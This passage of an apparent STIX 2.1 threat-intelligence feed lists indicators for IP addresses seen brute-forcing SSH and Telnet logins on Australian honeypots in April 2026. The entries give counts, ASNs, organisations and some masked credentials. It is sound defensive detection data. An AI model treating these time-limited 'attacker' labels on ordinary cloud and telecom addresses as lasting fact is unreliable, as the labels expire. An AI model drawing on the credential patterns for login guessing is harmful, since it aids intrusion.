      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28207. Organisation(s): Teleon Telecomunicacoes Ltda.",
      "id": "indicator--4ee4cf76-1462-4239-9ff4-b69159fd4753",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '189.91.183.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T22:15:10.000Z",
      "valid_until": "2026-05-28T22:15:09.000Z"
    },
    {
      "created": "2026-04-26T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4, i****r. Passwords observed (masked): 1********g, 1**************g, 3***********4, 3**********4, A*********^.",
      "id": "indicator--01bc310a-bc57-4182-96fc-8efdf4f1f9ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '210.90.155.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T22:15:10.000Z",
      "valid_until": "2026-05-28T22:15:09.000Z"
    },
    {
      "created": "2026-04-26T23:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 38719. Organisation(s): Dreamscape Networks Limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): #******e, 1****************1, 1*******h, 1******r, 1*******3.",
      "id": "indicator--ecbb9101-d745-40ff-bf08-2df9b1a79bce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T23:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '101.100.242.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T23:15:05.000Z",
      "valid_until": "2026-05-28T23:15:03.000Z"
    },
    {
      "created": "2026-04-26T23:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--71ee8636-d409-4d18-b51a-dfb4e17c2e5c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T23:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.199.94.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T23:15:05.000Z",
      "valid_until": "2026-05-28T23:15:03.000Z"
    },
    {
      "created": "2026-04-26T23:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--2ec9efab-8790-41c7-aa34-62b307ff4c55",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T23:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T23:15:05.000Z",
      "valid_until": "2026-05-28T23:15:03.000Z"
    },
    {
      "created": "2026-04-26T23:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--55e48782-ec1e-406f-b55a-43eea07a1f39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-26T23:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '206.135.174.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-26T23:15:05.000Z",
      "valid_until": "2026-05-28T23:15:03.000Z"
    },
    {
      "created": "2026-04-27T01:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--b9d75175-f036-482f-9a61-eacedd99519a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '1.158.100.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T01:15:05.000Z",
      "valid_until": "2026-05-29T01:15:03.000Z"
    },
    {
      "created": "2026-04-27T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): A******%.",
      "id": "indicator--6e04017f-e893-419c-92e9-6ffa201bc81a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.193.191.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T01:15:05.000Z",
      "valid_until": "2026-05-29T01:15:03.000Z"
    },
    {
      "created": "2026-04-27T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): 1**4, q*********6.",
      "id": "indicator--a62daebb-ca65-416f-808a-1bee8679e8cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '121.168.139.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T01:15:05.000Z",
      "valid_until": "2026-05-29T01:15:03.000Z"
    },
    {
      "created": "2026-04-27T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--c5ff2b89-d40f-4183-aaa3-513a88c2c1d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '148.113.221.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T01:15:05.000Z",
      "valid_until": "2026-05-29T01:15:03.000Z"
    },
    {
      "created": "2026-04-27T01:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 271192. Organisation(s): Acess.Net Telecomunicacoes LTDA.",
      "id": "indicator--29e6102e-5c60-43c7-9a28-d6393b657a90",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '179.42.153.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T01:15:05.000Z",
      "valid_until": "2026-05-29T01:15:03.000Z"
    },
    {
      "created": "2026-04-27T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t. Passwords observed (masked): e****d, s*********3.",
      "id": "indicator--81529d24-6bf2-4b55-aa3e-a5f536d978e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '222.247.32.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T01:15:05.000Z",
      "valid_until": "2026-05-29T01:15:03.000Z"
    },
    {
      "created": "2026-04-27T01:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9465. Organisation(s): AGOTOZ PTE. LTD.. Usernames observed (masked): A**********, G************1. Passwords observed (masked): , H**********************3.",
      "id": "indicator--a9d768c8-d53b-40eb-83b2-8a68fd9b7574",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.142.154.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T01:15:05.000Z",
      "valid_until": "2026-05-29T01:15:03.000Z"
    },
    {
      "created": "2026-04-27T01:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 29518. Organisation(s): Bredband2 AB.",
      "id": "indicator--d7b09dd9-f7de-4b17-b87c-70777d769df8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '77.53.43.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T01:15:05.000Z",
      "valid_until": "2026-05-29T01:15:03.000Z"
    },
    {
      "created": "2026-04-27T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 12338. Organisation(s): Euskaltel S.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !*********t, 1********5, 1**********3, 1******3, 3***********4.",
      "id": "indicator--ecdcc049-1933-48cc-92ed-c27c7e8765ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '81.9.140.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T01:15:05.000Z",
      "valid_until": "2026-05-29T01:15:03.000Z"
    },
    {
      "created": "2026-04-27T02:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): r**t. Passwords observed (masked): c***********4.",
      "id": "indicator--c8af1bc2-9352-419f-9850-d27f290f4549",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T02:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.56.115.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T02:15:05.000Z",
      "valid_until": "2026-05-29T02:15:03.000Z"
    },
    {
      "created": "2026-04-27T02:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia.",
      "id": "indicator--94402adf-625e-4a52-9929-e2ecb52855ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T02:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '180.244.187.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T02:15:05.000Z",
      "valid_until": "2026-05-29T02:15:03.000Z"
    },
    {
      "created": "2026-04-27T02:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 38136. Organisation(s): Akari Networks. Usernames observed (masked): r**t. Passwords observed (masked): S**********5.",
      "id": "indicator--467dac1b-5581-4c5f-a399-786b2a9fde98",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T02:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.255.118.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T02:15:05.000Z",
      "valid_until": "2026-05-29T02:15:03.000Z"
    },
    {
      "created": "2026-04-27T02:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 214295. Organisation(s): Skynet Network Ltd. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--61677b5e-6d73-4887-9ca6-596115e690a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T02:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.142.193.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T02:15:05.000Z",
      "valid_until": "2026-05-29T02:15:03.000Z"
    },
    {
      "created": "2026-04-27T02:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 272809. Organisation(s): THUNDERNET, C.A..",
      "id": "indicator--54a480cd-4ade-4bf3-967d-95322671ddf6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T02:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '82.86.132.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T02:15:05.000Z",
      "valid_until": "2026-05-29T02:15:03.000Z"
    },
    {
      "created": "2026-04-27T03:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 139021. Organisation(s): West263 International Limited. Usernames observed (masked): r**t. Passwords observed (masked): 1*********C.",
      "id": "indicator--66eb55b5-0ab4-41c3-abdb-4d4c91606fb5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.43.191.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T03:15:12.000Z",
      "valid_until": "2026-05-29T03:15:09.000Z"
    },
    {
      "created": "2026-04-27T03:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): *, a***n, ***. Passwords observed (masked): , *, a***n.",
      "id": "indicator--faed2efd-6f13-467a-824e-d162785bbcea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.28.124.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T03:15:12.000Z",
      "valid_until": "2026-05-29T03:15:09.000Z"
    },
    {
      "created": "2026-04-27T03:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--4d89305a-b9e3-4944-aaa0-333808a7dc57",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '144.48.130.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T03:15:12.000Z",
      "valid_until": "2026-05-29T03:15:09.000Z"
    },
    {
      "created": "2026-04-27T03:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 150895. Organisation(s): EZ TECHNOLOGY COMPANY LIMITED. Usernames observed (masked): r**t, 3**********4, u**r. Passwords observed (masked): 0****l, 3***********4, 3**********4, F************5, P******D.",
      "id": "indicator--aa732ff9-b935-4eb9-99f8-02b7eda76889",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '163.227.230.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T03:15:12.000Z",
      "valid_until": "2026-05-29T03:15:09.000Z"
    },
    {
      "created": "2026-04-27T03:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): w*****t. Passwords observed (masked): w*********@.",
      "id": "indicator--4cdf4d51-04bf-4773-b43c-4c638be3003d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '167.86.108.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T03:15:12.000Z",
      "valid_until": "2026-05-29T03:15:09.000Z"
    },
    {
      "created": "2026-04-27T03:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 84. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 25019. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--405b9d8e-8fa2-4ff6-affa-7a62047e888c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.44.112.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T03:15:12.000Z",
      "valid_until": "2026-05-29T03:15:09.000Z"
    },
    {
      "created": "2026-04-27T03:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): r**t. Passwords observed (masked): 1****s.",
      "id": "indicator--1acc5d44-f7da-4b58-8ee1-85fbc5214853",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.67.197.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T03:15:12.000Z",
      "valid_until": "2026-05-29T03:15:09.000Z"
    },
    {
      "created": "2026-04-27T03:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): R***********4.",
      "id": "indicator--7a4c7bcd-a309-4726-92af-34d3173bff49",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.187.184.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T03:15:12.000Z",
      "valid_until": "2026-05-29T03:15:09.000Z"
    },
    {
      "created": "2026-04-27T03:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KE. ASN(s): 37061. Organisation(s): Safaricom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !***c, 2**4, 3***********4, 3**********4, @*******u.",
      "id": "indicator--63c6254d-a2fc-4efe-9f64-4b13d6547172",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T03:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '41.90.100.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T03:15:12.000Z",
      "valid_until": "2026-05-29T03:15:09.000Z"
    },
    {
      "created": "2026-04-27T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--67e48361-b79b-4abb-bf04-8f2ee022d5e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '130.211.57.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T04:15:10.000Z",
      "valid_until": "2026-05-29T04:15:08.000Z"
    },
    {
      "created": "2026-04-27T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--db068391-72cb-4b58-bf5c-a0000479f3e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '135.119.112.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T04:15:10.000Z",
      "valid_until": "2026-05-29T04:15:08.000Z"
    },
    {
      "created": "2026-04-27T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--66410ad5-c1f1-43d2-8a7c-8d540b9894b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.116.123.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T04:15:10.000Z",
      "valid_until": "2026-05-29T04:15:08.000Z"
    },
    {
      "created": "2026-04-27T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********5, H**********************3.",
      "id": "indicator--f96fbbfc-7689-4020-9e29-7b05cdcd549d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.38.122.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T04:15:10.000Z",
      "valid_until": "2026-05-29T04:15:08.000Z"
    },
    {
      "created": "2026-04-27T04:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 68. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********1, H**********************3.",
      "id": "indicator--b271418f-8d79-4baa-9b3f-c10b983b4a3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.77.33.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T04:15:10.000Z",
      "valid_until": "2026-05-29T04:15:08.000Z"
    },
    {
      "created": "2026-04-27T04:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 47. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--6f936bce-90e6-40ff-97b0-b2fbce00652d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-27T04:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '35.240.118.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-27T04:15:10.000Z",
      "valid_until": "2026-05-29T04:15:08.000Z"
    },
    {
